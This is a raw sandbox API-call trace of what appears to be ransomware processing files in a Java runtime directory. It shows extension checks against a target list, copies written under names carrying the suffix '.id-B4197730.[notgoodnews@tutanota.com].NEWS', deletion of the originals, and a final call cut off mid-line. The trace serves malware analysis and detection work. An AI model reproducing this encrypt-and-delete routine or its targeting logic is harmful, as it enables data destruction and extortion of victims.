[0165.663] lstrlenW (lpString=".jpg") returned 4 [0165.663] lstrcmpiW (lpString1=".jpg", lpString2="late") returned -1 [0165.663] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0165.663] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0165.663] lstrlenW (lpString=".doc") returned 4 [0165.663] lstrcmpiW (lpString1=".doc", lpString2="late") returned -1 [0165.663] lstrlenW (lpString=".docx") returned 5 [0165.663] lstrcmpiW (lpString1=".docx", lpString2="plate") returned -1 [0165.663] lstrlenW (lpString=".pdf") returned 4 [0165.663] lstrcmpiW (lpString1=".pdf", lpString2="late") returned -1 [0165.664] lstrlenW (lpString=".xls") returned 4 [0165.664] lstrcmpiW (lpString1=".xls", lpString2="late") returned -1 [0165.664] lstrlenW (lpString=".xlsx") returned 5 [0165.664] lstrcmpiW (lpString1=".xlsx", lpString2="plate") returned -1 [0165.664] lstrlenW (lpString=".ppt") returned 4 [0165.664] lstrcmpiW (lpString1=".ppt", lpString2="late") returned -1 [0165.664] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0165.664] lstrlenW (lpString=".zip") returned 4 [0165.664] lstrcmpiW (lpString1=".zip", lpString2="late") returned -1 [0165.664] lstrlenW (lpString=".rar") returned 4 [0165.664] lstrcmpiW (lpString1=".rar", lpString2="late") returned -1 [0165.664] lstrlenW (lpString=".bz2") returned 4 [0165.664] lstrcmpiW (lpString1=".bz2", lpString2="late") returned -1 [0165.664] lstrlenW (lpString=".7z") returned 3 [0165.664] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1 [0165.664] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0165.664] lstrlenW (lpString=".dbf") returned 4 [0165.664] lstrcmpiW (lpString1=".dbf", lpString2="late") returned -1 [0165.664] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0165.664] lstrlenW (lpString=".1cd") returned 4 [0165.664] lstrcmpiW (lpString1=".1cd", lpString2="late") returned -1 [0165.664] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0165.664] lstrlenW (lpString=".jpg") returned 4 [0165.664] lstrcmpiW (lpString1=".jpg", lpString2="late") returned -1 [0165.664] lstrcmpiW (lpString1=".jar", lpString2=".NEWS") returned -1 [0165.664] lstrlenW (lpString="management-agent.jar") returned 20 [0165.664] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0165.665] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=381) returned 1 [0165.665] CloseHandle (hObject=0x528) returned 1 [0165.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar")) returned 0x20 [0165.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0165.666] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0165.666] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.666] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.666] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0165.792] GetLastError () returned 0x0 [0165.792] ReadFile (in: hFile=0x528, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x17d, lpOverlapped=0x0) returned 1 [0165.793] WriteFile (in: hFile=0x4e8, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x180, lpOverlapped=0x0) returned 1 [0165.795] ReadFile (in: hFile=0x528, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0165.795] WriteFile (in: hFile=0x4e8, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0xfc, lpOverlapped=0x0) returned 1 [0165.796] SetEndOfFile (hFile=0x4e8) returned 1 [0165.796] CloseHandle (hObject=0x4e8) returned 1 [0165.796] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.796] SetEndOfFile (hFile=0x528) returned 1 [0165.802] CloseHandle (hObject=0x528) returned 1 [0165.802] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0165.803] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar")) returned 1 [0165.803] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0165.803] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0165.803] lstrlenW (lpString=".doc") returned 4 [0165.803] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0165.803] lstrlenW (lpString=".docx") returned 5 [0165.803] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0165.804] lstrlenW (lpString=".pdf") returned 4 [0165.804] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0165.804] lstrlenW (lpString=".xls") returned 4 [0165.804] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0165.804] lstrlenW (lpString=".xlsx") returned 5 [0165.804] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0165.804] lstrlenW (lpString=".ppt") returned 4 [0165.804] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0165.804] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0165.804] lstrlenW (lpString=".zip") returned 4 [0165.804] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0165.804] lstrlenW (lpString=".rar") returned 4 [0165.804] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0165.804] lstrlenW (lpString=".bz2") returned 4 [0165.804] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0165.804] lstrlenW (lpString=".7z") returned 3 [0165.804] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0165.804] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0165.804] lstrlenW (lpString=".dbf") returned 4 [0165.804] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0165.804] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0165.804] lstrlenW (lpString=".1cd") returned 4 [0165.804] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0165.804] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0165.804] lstrlenW (lpString=".jpg") returned 4 [0165.804] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0165.804] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0165.804] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0165.804] lstrlenW (lpString=".doc") returned 4 [0165.804] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0165.804] lstrlenW (lpString=".docx") returned 5 [0165.805] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0165.805] lstrlenW (lpString=".pdf") returned 4 [0165.805] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0165.805] lstrlenW (lpString=".xls") returned 4 [0165.805] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0165.805] lstrlenW (lpString=".xlsx") returned 5 [0165.805] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0165.805] lstrlenW (lpString=".ppt") returned 4 [0165.805] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0165.805] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0165.805] lstrlenW (lpString=".zip") returned 4 [0165.805] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0165.805] lstrlenW (lpString=".rar") returned 4 [0165.805] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0165.805] lstrlenW (lpString=".bz2") returned 4 [0165.805] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0165.805] lstrlenW (lpString=".7z") returned 3 [0165.805] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0165.805] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0165.805] lstrlenW (lpString=".dbf") returned 4 [0165.805] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0165.805] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0165.805] lstrlenW (lpString=".1cd") returned 4 [0165.805] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0165.805] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0165.805] lstrlenW (lpString=".jpg") returned 4 [0165.805] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0165.805] lstrcmpiW (lpString1=".properties", lpString2=".NEWS") returned 1 [0165.805] lstrlenW (lpString="psfontj2d.properties") returned 20 [0165.806] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0165.808] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=10393) returned 1 [0165.808] CloseHandle (hObject=0x520) returned 1 [0165.809] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties")) returned 0x20 [0165.809] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0165.809] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0165.809] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.809] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.809] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0165.810] GetLastError () returned 0x0 [0165.810] ReadFile (in: hFile=0x520, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x2899, lpOverlapped=0x0) returned 1 [0165.815] WriteFile (in: hFile=0x4e8, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x28a0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x28a0, lpOverlapped=0x0) returned 1 [0165.817] ReadFile (in: hFile=0x520, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0165.817] WriteFile (in: hFile=0x4e8, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0xfc, lpOverlapped=0x0) returned 1 [0165.817] SetEndOfFile (hFile=0x4e8) returned 1 [0165.817] CloseHandle (hObject=0x4e8) returned 1 [0165.817] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.817] SetEndOfFile (hFile=0x520) returned 1 [0165.820] CloseHandle (hObject=0x520) returned 1 [0165.820] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0165.820] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties")) returned 1 [0165.821] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0165.821] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0165.821] lstrlenW (lpString=".doc") returned 4 [0165.821] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0165.821] lstrlenW (lpString=".docx") returned 5 [0165.821] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0165.821] lstrlenW (lpString=".pdf") returned 4 [0165.821] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0165.821] lstrlenW (lpString=".xls") returned 4 [0165.821] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0165.821] lstrlenW (lpString=".xlsx") returned 5 [0165.821] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0165.822] lstrlenW (lpString=".ppt") returned 4 [0165.822] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0165.822] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0165.822] lstrlenW (lpString=".zip") returned 4 [0165.822] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0165.822] lstrlenW (lpString=".rar") returned 4 [0165.822] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0165.822] lstrlenW (lpString=".bz2") returned 4 [0165.822] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0165.822] lstrlenW (lpString=".7z") returned 3 [0165.822] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0165.822] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0165.822] lstrlenW (lpString=".dbf") returned 4 [0165.822] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0165.822] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0165.822] lstrlenW (lpString=".1cd") returned 4 [0165.822] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0165.822] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0165.822] lstrlenW (lpString=".jpg") returned 4 [0165.822] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0165.822] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0165.822] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0165.822] lstrlenW (lpString=".doc") returned 4 [0165.822] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0165.822] lstrlenW (lpString=".docx") returned 5 [0165.822] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0165.822] lstrlenW (lpString=".pdf") returned 4 [0165.822] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0165.822] lstrlenW (lpString=".xls") returned 4 [0165.822] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0165.822] lstrlenW (lpString=".xlsx") returned 5 [0165.822] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0165.823] lstrlenW (lpString=".ppt") returned 4 [0165.823] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0165.823] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0165.823] lstrlenW (lpString=".zip") returned 4 [0165.823] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0165.823] lstrlenW (lpString=".rar") returned 4 [0165.823] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0165.823] lstrlenW (lpString=".bz2") returned 4 [0165.823] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0165.823] lstrlenW (lpString=".7z") returned 3 [0165.823] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0165.823] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0165.823] lstrlenW (lpString=".dbf") returned 4 [0165.823] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0165.823] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0165.823] lstrlenW (lpString=".1cd") returned 4 [0165.823] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0165.823] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0165.823] lstrlenW (lpString=".jpg") returned 4 [0165.823] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0165.823] lstrcmpiW (lpString1=".jar", lpString2=".NEWS") returned -1 [0165.823] lstrlenW (lpString="resources.jar") returned 13 [0165.823] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0165.824] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=3492573) returned 1 [0165.824] CloseHandle (hObject=0x520) returned 1 [0165.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar")) returned 0x20 [0165.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0165.825] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0165.825] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0165.825] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0165.825] lstrlenW (lpString=".doc") returned 4 [0165.825] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0165.825] lstrlenW (lpString=".docx") returned 5 [0165.825] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0165.825] lstrlenW (lpString=".pdf") returned 4 [0165.825] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0165.825] lstrlenW (lpString=".xls") returned 4 [0165.825] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0165.825] lstrlenW (lpString=".xlsx") returned 5 [0165.825] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0165.825] lstrlenW (lpString=".ppt") returned 4 [0165.825] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0165.825] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0165.825] lstrlenW (lpString=".zip") returned 4 [0165.825] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0165.826] lstrlenW (lpString=".rar") returned 4 [0165.826] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0165.826] lstrlenW (lpString=".bz2") returned 4 [0165.826] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0165.826] lstrlenW (lpString=".7z") returned 3 [0165.826] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0165.826] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0165.826] lstrlenW (lpString=".dbf") returned 4 [0165.826] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0165.826] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0165.826] lstrlenW (lpString=".1cd") returned 4 [0165.826] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0165.826] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0165.826] lstrlenW (lpString=".jpg") returned 4 [0165.826] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0165.826] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0165.826] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0165.826] lstrlenW (lpString=".doc") returned 4 [0165.826] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0165.826] lstrlenW (lpString=".docx") returned 5 [0165.826] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0165.826] lstrlenW (lpString=".pdf") returned 4 [0165.826] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0165.826] lstrlenW (lpString=".xls") returned 4 [0165.826] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0165.826] lstrlenW (lpString=".xlsx") returned 5 [0165.826] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0165.826] lstrlenW (lpString=".ppt") returned 4 [0165.826] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0165.826] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0165.826] lstrlenW (lpString=".zip") returned 4 [0165.827] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0165.827] lstrlenW (lpString=".rar") returned 4 [0165.827] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0165.827] lstrlenW (lpString=".bz2") returned 4 [0165.827] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0165.827] lstrlenW (lpString=".7z") returned 3 [0165.827] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0165.827] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0165.827] lstrlenW (lpString=".dbf") returned 4 [0165.827] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0165.827] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0165.827] lstrlenW (lpString=".1cd") returned 4 [0165.827] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0165.827] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0165.827] lstrlenW (lpString=".jpg") returned 4 [0165.827] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0165.827] lstrcmpiW (lpString1=".jar", lpString2=".NEWS") returned -1 [0165.827] lstrlenW (lpString="rt.jar") returned 6 [0165.827] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0165.828] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=54560347) returned 1 [0165.828] CloseHandle (hObject=0x520) returned 1 [0165.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar")) returned 0x20 [0165.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0165.829] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0165.829] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0165.829] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0165.829] lstrlenW (lpString=".doc") returned 4 [0165.829] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0165.829] lstrlenW (lpString=".docx") returned 5 [0165.829] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0165.829] lstrlenW (lpString=".pdf") returned 4 [0165.829] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 